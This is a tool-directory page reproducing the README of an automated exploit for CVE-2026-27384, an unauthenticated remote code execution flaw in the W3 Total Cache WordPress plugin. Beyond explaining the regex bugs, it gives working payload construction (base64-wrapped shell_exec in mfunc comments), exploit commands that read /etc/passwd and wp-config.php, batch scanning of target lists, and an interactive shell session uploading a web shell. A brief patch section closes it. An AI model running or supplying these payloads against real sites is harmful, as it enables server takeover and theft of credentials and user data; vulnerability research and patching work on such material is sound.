Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27384 — Automated scanner and exploit for CVE-2026-27384, an unauthenticated RCE in W3 Total Cache via mfunc/eval() injection. Features auto-detection, 48 payload variants, interactive shell, and batch scanning. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-27384
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubxxconi/cve-2026-27384

CVE-2026-27384

Automated scanner and exploit for CVE-2026-27384, an unauthenticated RCE in W3 Total Cache via mfunc/eval() injection. Features auto-detection, 48 payload variants, interactive shell, and batch scanning.

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27384

CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE Scanner

Plugin: W3 Total Cache Plugin Slug: w3-total-cache CVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vulnerability Type: Unauthenticated Arbitrary Code Execution (Code Injection via eval()) Affected Versions: <= 2.9.1 Patched Version: 2.9.2 Disclosure Date: February 24, 2026 Researcher: CODE WHITE GmbH


📌 Vulnerability Summary

The Dynamic Fragment Caching feature (mfunc/mclude system) of the W3 Total Cache plugin executes PHP code embedded in HTML comments via eval(). The token, which should protect this feature, can be bypassed due to the combination of multiple code flaws.

W3TC_DYNAMIC_SECURITY

Result: Arbitrary PHP code can be executed on the server without authentication, simply by submitting a WordPress comment.


🔍 Vulnerability Overview Table

FieldValue
CVE IDCVE-2026-27384
CVSS9.8 Critical
TypeCode Injection → RCE (CWE-94)
Affected Version<= 2.9.1
Patched Version2.9.2
AuthenticationNot required
User InteractionNot required
PrerequisiteW3TC_DYNAMIC_SECURITY must contain regex metacharacters

⚙️ Technical Analysis

Feature: mfunc / mclude

W3TC's Dynamic Fragment Caching feature allows developers to embed PHP code via special comment tags in the page HTML:

root@kitploit:~
<!-- mfunc SECURITY_TOKEN
  echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->

W3TC processes these tags when serving the page from cache: the embedded PHP is executed via eval(), and its output replaces the comment block.


Bug 1 — Missing preg_quote() (PgCache_ContentGrabber.php)

root@kitploit:~
// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
    $buffer = preg_replace_callback(
        // ❌ W3TC_DYNAMIC_SECURITY is inserted directly into regex
        // preg_quote() MISSING → token acts as regex pattern
        '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        array( $this, '_parse_dynamic_mfunc' ),
        $buffer
    );
}

If the token is '.', the regex becomes <!--\s*mfunc\s*.(.*)--> → any single character substitutes for the token.


Bug 2 — \s* vs \s+ Mismatch

FunctionPatternBehavior
_parse_dynamic() — executesmfunc\s*TOKENAccepts 0 spaces ✅
strip_dynamic_fragment_tags_from_string() — stripsmfunc\s+TOKENRequires at least 1 space ❌
root@kitploit:~
Attacker payload:  <!-- mfuncA php_code --><!-- /mfuncA -->
                             ↑
                      NO SPACE between mfunc and token

strip function:   \s+ → no match → payload PERSISTS
execution regex:  \s* → matches  → eval() TRIGGERS

Bug 3 — Missing Token Validation (_has_dynamic())

root@kitploit:~
// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
    // ❌ Only defined() check — NO empty() or metacharacter validation
    if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
        return false;
    }
    return preg_match(
        '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
        $buffer
    );
}

Full Attack Chain

root@kitploit:~
W3TC_DYNAMIC_SECURITY = '.'   (regex metacharacter — any character)
        │
        ▼
Attacker submits comment:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
        │
        ▼
strip_dynamic_fragment_tags_from_string()
  Pattern: mfunc\s+[^\s]+  →  requires \s+, no space → BYPASSED ✅
        │
        ▼
Comment stored in database, page cached
        │
        ▼
Second HTTP request → W3TC serves from cache
  _has_dynamic() → mfunc\s*.  → 'A' matches → returns true
        │
        ▼
_parse_dynamic() → preg_replace_callback
  Pattern: mfunc\s*.  → 'A' matches
        │
        ▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
        │
        ▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓

🔴 Attack Impact

Without authentication, arbitrary PHP code can be executed on the server with web server privileges:

  • ✅ Full server compromise
  • ✅ Read/Write/Delete WordPress files and database
  • ✅ Install web shell / backdoor
  • ✅ Pivot to internal network
  • ✅ Exfiltrate credentials, API keys, user data

🚀 Installation

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
beautifulsoup4

📖 Usage

Modes

ModeDescription
autoScan site → find comment page → exploit (default)
exploitDirect exploit — with post URL
shellInteractive shell
detectW3TC detection only

Auto Mode — Fully Automatic

root@kitploit:~
python w3tc_rce.py https://target.com

The scanner will:

  1. Check if W3TC is installed
  2. Find pages with comment forms via sitemap + link following
  3. Try 48 payload variants on each page
  4. If successful, offer to open a shell

Exploit Mode — Direct

root@kitploit:~
# id command
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd id

# Read /etc/passwd
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd "cat /etc/passwd"

# Read wp-config.php
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --cmd "cat /var/www/html/wp-config.php"

# Manual Post ID
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/hello-world/ \
  --post-id 1 \
  --cmd whoami

Shell Mode — Interactive

root@kitploit:~
python w3tc_rce.py https://target.com \
  --mode shell \
  --post-url https://target.com/?p=1

When the shell opens, it automatically runs whoami, hostname, pwd, uname -a:

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3TC mfunc Interactive Shell
  URL    : https://target.com/?p=1
  Payload: b64_shell_exec (bypass='A')
=================================================================

  User  : www-data
  Host  : web01.target.com
  PWD   : /var/www/html
  OS    : Linux web01 5.15.0-91-generic #101-Ubuntu SMP

=================================================================
  Commands: exit | upload <local> <remote> | download <remote>
=================================================================

┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
  [+] Upload: shell.php → /var/www/html/shell.php

┌──([email protected])
└─$ download /var/www/html/wp-config.php
  [+] Download: wp-config.php → wp-config.php (4821 bytes)

Detect Mode — Detection Only

root@kitploit:~
python w3tc_rce.py https://target.com --mode detect
root@kitploit:~
[+] W3TC installed!
    Version  : 2.9.1
    Cache    : True
[!] Version 2.9.1 VULNERABLE (<= 2.9.1)!

Batch Scanning

root@kitploit:~
python w3tc_rce.py --list targets.txt -t 10 -o results.txt

With Proxy (Burp Suite)

root@kitploit:~
python w3tc_rce.py https://target.com \
  --mode exploit \
  --post-url https://target.com/?p=1 \
  --proxy http://127.0.0.1:8080 \
  -v

⚙️ All Parameters

ParameterShortDescriptionDefault
url—Single target URL—
--list-lTarget list file—
--mode—Operation modeauto
--cmd—Command to executeid
--post-url—URL of the page with comment form—
--post-id—WordPress post ID—
--max-pages—Spider max pages50
--threads-tNumber of threads10
--output-oOutput filew3tc_results.txt
--proxy—Proxy URL—
--no-color—Disable colored outputFalse
--verbose-vVerbose outputFalse

💀 Payload Structure

mfunc No-Space Bypass

root@kitploit:~
Standard tag (caught by strip):
  <!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
               ↑
          space present → \s+ matches → strip removes it

Bypass tag (bypasses strip, triggers eval()):
  <!-- mfuncA php_code --><!-- /mfuncA -->
              ↑
        NO space → \s+ doesn't match → strip BYPASSES
                      \s* matches → eval() TRIGGERS

Base64 Encoding

PHP code is base64 encoded to avoid HTML encoding issues:

root@kitploit:~
# Command: id
b64_cmd = base64.b64encode(b"id").decode()  # → "aWQ="

php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));

payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"

48 Payload Variants

GroupFunctionBypass CharEncoding
b64_shell_execshell_execA, B, X, 1Base64
b64_systemsystemA, B, X, 1Base64
b64_passthrupassthruA, B, X, 1Base64
b64_execexecA, B, X, 1Base64
b64_popenpopenA, B, X, 1Base64
raw_*All functionsA, B, X, 1Raw

🔄 Exploit Flow

root@kitploit:~
1. W3TC Detection
   └─ readme.txt, header, body, plugin directory

2. Comment System Detection
   └─ HTML form, REST API, post ID

3. Payload Injection (48 variants)
   ├─ REST API: POST /wp-json/wp/v2/comments
   └─ HTML Form: POST /wp-comments-post.php

4. Cache Trigger
   ├─ 1st request → cache miss → page rendered → cached
   └─ 2nd request → cache hit → _parse_dynamic() → eval()

5. Output Extraction
   └─ uid=, whoami, /path/, passwd, wp-config...

🖥️ Example Outputs

Auto Mode

root@kitploit:~
=================================================================
  CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================

[*] Target: https://target.com
  Crawling: [████████████████████] 100% (50/50) | 8.3/s

[+] Comment page: https://target.com/?p=1 (post_id=1)

  [1] W3TC detection...
[+] W3TC found! Version: 2.9.1
  [2] Comment system detection...
[+] Post ID: 1 | Form: True | REST: True
  [3] Payload injection (id)...
[i] 48 payload variants ready
  [4] Triggering cache...

[★] RCE SUCCESSFUL!
=========================================================
  URL     : https://target.com/?p=1
  Payload : b64_shell_exec (bypass='A')
  Command : id
  Output  : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================

[+] Results saved → w3tc_results.txt
[?] Open shell? (y/n):

Batch Scan Summary

root@kitploit:~
Scanning: [████████████████████] 100% (100/100) | 4.2/s

[★] 7 vulnerabilities found!
[+] Results saved → w3tc_results.txt

📁 File Structure

root@kitploit:~
cve-2026-27384/
├── w3tc_rce.py        # Main scanner
├── requirements.txt   # Dependencies
└── README.md          # This file

🛡️ Defense / Patch

MeasureDescription
Plugin UpdateUpgrade to W3 Total Cache 2.9.2+
Disable mfuncFeature does not work if W3TC_DYNAMIC_SECURITY is not defined
Strong TokenToken must contain only alphanumeric characters ([a-zA-Z0-9_]+)

Safe token example (wp-config.php):

root@kitploit:~
// ❌ Dangerous — regex metacharacter
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');

// ✅ Safe — alphanumeric
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');

2.9.2 patch (_parse_dynamic()):

root@kitploit:~
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );  // ✅ preg_quote added
$buffer = preg_replace_callback(
    '~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis',    // ✅ \s+ (at least 1 space)
    ...
);

⚠️ Legal Disclaimer

This tool and PoC are intended solely for authorized systems, educational purposes, and penetration testing engagements. Use on unauthorized systems is illegal under Turkish Penal Code Articles 243-245 and international cybercrime laws. The developer accepts no legal liability for any misuse of this tool.


📄 License

MIT License — For educational and research purposes only.


🔗 References

  • Wordfence Advisory
  • W3 Total Cache Plugin
  • CODE WHITE GmbH
  • CWE-94: Improper Control of Code Generation
  • OWASP Code Injection
  • PHP eval() Security
  • PHP preg_quote()
Download Tool